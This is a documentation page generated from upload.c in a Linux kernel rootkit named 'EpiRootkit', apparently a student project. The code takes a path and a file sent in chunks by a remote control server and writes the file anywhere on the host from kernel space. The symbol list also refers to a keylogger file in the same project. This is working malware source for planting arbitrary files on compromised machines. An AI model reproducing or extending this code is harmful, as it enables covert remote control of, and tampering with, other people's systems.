EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
upload.c
Go to the documentation of this file.
1#include "upload.h"
2
3#include <linux/fs.h>
4#include <linux/slab.h>
5#include <linux/string.h>
6#include <linux/uaccess.h>
7
8#include "epirootkit.h"
9
10bool receiving_file = false;
11char *upload_buffer = NULL;
12char *upload_path = NULL;
13long upload_size = 0;
15
16int handle_upload_chunk(const char *data, size_t len, enum Protocol protocol) {
17 size_t to_copy;
18 size_t i;
19
20 DBG_MSG("CHUNK SIZE : %zu\n", len);
21
23 ERR_MSG("handle_upload_chunk: not receiving file, aborting chunk\n");
24 return -EINVAL;
25 }
26
27 if (upload_received + len > upload_size)
28 to_copy = upload_size - upload_received;
29 else
30 to_copy = len;
31
32 for (i = 0; i < to_copy; i++) {
33 upload_buffer[upload_received + i] = data[i];
34 }
35 upload_received += to_copy;
36
37 DBG_MSG("handle_upload_chunk: received %zu bytes (%ld/%ld)\n", to_copy,
39
41 DBG_MSG("handle_upload_chunk: full upload received, writing to file\n");
42
43 struct file *filp =
44 filp_open(upload_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
45 if (IS_ERR(filp)) {
46 ERR_MSG("handle_upload_chunk: failed to open %s\n", upload_path);
47 send_to_server(protocol, "Failed to open file.\n");
48 }
49 else {
50 ssize_t written =
51 kernel_write(filp, upload_buffer, upload_size, &filp->f_pos);
52 if (written != upload_size) {
53 ERR_MSG("handle_upload_chunk: partial write (%zd/%ld)\n", written,
55 send_to_server(protocol, "Partial or failed file write.\n");
56 }
57 else {
58 DBG_MSG("handle_upload_chunk: wrote %ld bytes to %s\n", upload_size,
60 send_to_server(protocol, "File written successfully.\n");
61 }
62 filp_close(filp, NULL);
63 }
64
65 vfree(upload_buffer);
66 kfree(upload_path);
67 upload_buffer = NULL;
68 upload_path = NULL;
69 receiving_file = false;
70 }
71
72 return 0;
73}
74
75int start_upload(const char *path, long size) {
76 DBG_MSG("start_upload: path=%s, size=%ld\n", path, size);
77
79 return -EBUSY;
80
81 upload_path = kstrdup(path, GFP_KERNEL);
82 if (!upload_path)
83 return -ENOMEM;
84
85 upload_path[strcspn(upload_path, "\n")] = '\0';
86
87 upload_buffer = vmalloc(size);
88 if (!upload_buffer) {
89 kfree(upload_path);
90 return -ENOMEM;
91 }
92
93 upload_size = size;
95 receiving_file = true;
96
97 DBG_MSG("start_upload: setup complete\n");
98 return 0;
99}
100
101int upload_handler(char *args, enum Protocol protocol) {
102 if (protocol != TCP) {
103 DBG_MSG("warning: upload will be over TCP.\n");
104 }
105
106 if (!args) {
107 send_to_server(protocol, "Usage: upload <remote_path> <size>\n");
108 return -EINVAL;
109 }
110
111 char *path_str = strsep(&args, " ");
112 char *size_str = args;
113
114 if (!path_str || !size_str) {
115 send_to_server(protocol, "Usage: upload <remote_path> <size>\n");
116 return -EINVAL;
117 }
118
119 long size;
120 if (kstrtol(size_str, 10, &size) < 0 || size <= 0) {
121 send_to_server(protocol, "Invalid file size.\n");
122 return -EINVAL;
123 }
124
125 int ret = start_upload(path_str, size);
126 if (ret < 0) {
127 send_to_server(protocol, "Failed to initiate upload.\n");
128 return ret;
129 }
130
131 send_to_server(protocol, "READY");
132 return 0;
133}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
Protocol
Definition config.h:28
@ TCP
Definition config.h:29
static struct dentry * file
Definition epikeylog.c:145
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
int start_upload(const char *path, long size)
Definition upload.c:75
bool receiving_file
Definition upload.c:10
long upload_received
Definition upload.c:14
char * upload_buffer
Definition upload.c:11
long upload_size
Definition upload.c:13
char * upload_path
Definition upload.c:12
int upload_handler(char *args, enum Protocol protocol)
Definition upload.c:101
int handle_upload_chunk(const char *data, size_t len, enum Protocol protocol)
Definition upload.c:16